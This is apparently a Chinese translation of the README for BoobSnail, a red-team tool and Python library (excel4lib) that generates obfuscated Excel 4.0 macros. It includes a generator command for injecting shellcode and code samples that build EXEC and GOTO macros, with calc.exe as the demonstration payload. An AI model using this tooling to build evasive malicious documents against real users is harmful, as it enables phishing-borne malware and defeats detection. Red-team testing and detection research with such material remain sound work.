在 Twitter 上关注我们!
BoobSnail 可用于生成 XLM(Excel 4.0)宏。其目标是支持红队和蓝队生成 XLM 宏。 特性:
已在 Python 3.8.7rc1 上测试
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <生成器> -h
要显示可用的生成器,请输入:
python boobsnail.py
生成混淆宏,用于注入 x64 或 x86 shellcode:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
生成运行 calc.exe 的混淆宏:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail 共享 excel4lib 库,该库允许你创建自己的 Excel4 宏生成器。 excel4lib 包含几个在编写生成器时可能会用到的类:
该库的主要理念是将 Excel4 公式、变量、公式参数和值表示为 Python 对象。因此,你可以轻松更改指令的属性,例如公式或变量名、值、地址等。 例如,让我们创建一个运行 calc.exe 的简单宏:
from excel4lib.macro import *
# 创建宏对象
macro = Excel4Macro("test.csv")
# 向工作表添加变量 cmd,值为 "calc.exe"
cmd = macro.variable("cmd", "calc.exe")
# 添加 EXEC 公式,参数为 cmd
macro.formula("EXEC", cmd)
# 导出为 CSV
print(macro.to_csv())
结果:
cmd="calc.exe";
=EXEC(cmd);
现在假设你想混淆你的宏。为此,只需导入混淆器并将其传递给 Excel4Macro 对象:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# 创建宏对象
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# 向工作表添加变量 cmd,值为 "calc.exe"
cmd = macro.variable("cmd", "calc.exe")
# 添加 EXEC 公式,参数为 cmd
macro.formula("EXEC", cmd)
# 导出为 CSV
print(macro.to_csv())
目前 excel4lib 提供了两个混淆类:
如你所见,你可以编写自己的混淆器类,并在 Excel4Macro 中使用它。
有时你需要将宏翻译为另一种语言,例如你的母语(对我来说是波兰语)。使用 excel4lib 非常容易。你只需导入 Excel4Translator 类并调用 set_language 即可:
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# 切换语言
Excel4Translator.set_language("pl_PL")
# 创建宏对象
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# 向工作表添加变量 cmd,值为 "calc.exe"
cmd = macro.variable("cmd", "calc.exe")
# 添加 EXEC 公式,参数为 cmd
macro.formula("EXEC", cmd)
# 导出为 CSV
print(macro.to_csv())
结果:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
目前只支持英语和波兰语。如果你需要使用其他语言,则需要在 excel4lib/lang/langs 目录中添加翻译。
当然,你还需要创建一个以另一个公式作为参数的公式。你可以通过使用 Excel4Macro.argument 函数来实现:
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# 向工作表添加变量 cmd,值为 "calc"
cmd_1 = macro.variable("cmd", "calc")
# 添加一个单元格,值为 ".exe"
cmd_2 = macro.value(".exe")
# 创建 CONCATENATE 公式,对 cmd_1 和 cmd_2 进行拼接
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# 将 CONCATENATE 调用作为参数传递给 EXEC 公式
macro.formula("EXEC", exec_arg)
# 导出为 CSV
print(macro.to_csv())
结果:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
如你所见,字符串 ".exe" 以 R2C1 的形式传递给了 CONCATENATE 公式。R2C1 是 ".exe" 值的地址(第 2 行,第 1 列)。excel4lib 将公式和值的引用返回为地址,变量的引用则返回其名称。
你可能已经注意到,Excel4Macro 类会按照创建这些对象的顺序自动将公式、变量、值添加到工作表中,且起始地址为 R1C1。如果希望将公式放在其他列或行怎么办?你可以通过调用 Excel4Macro.set_cords 函数来实现:
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# 第 1 列
# 向工作表添加变量 cmd,值为 "calc"
cmd_1 = macro.variable("cmd", "calc")
# 添加一个单元格,值为 ".exe"
cmd_2 = macro.value(".exe")
# 第 2 列
# 切换到第 2 列
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# 将 CONCATENATE 调用作为参数传递给 EXEC 公式
exec_call = macro.formula("EXEC", exec_arg)
# 第 1 列
# 回到第 1 列。切换到第 1 列、第 3 行
macro.set_cords(1,3)
# GOTO 到 EXEC 调用
macro.goto(exec_call)
# 导出为 CSV
print(macro.to_csv())
结果:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;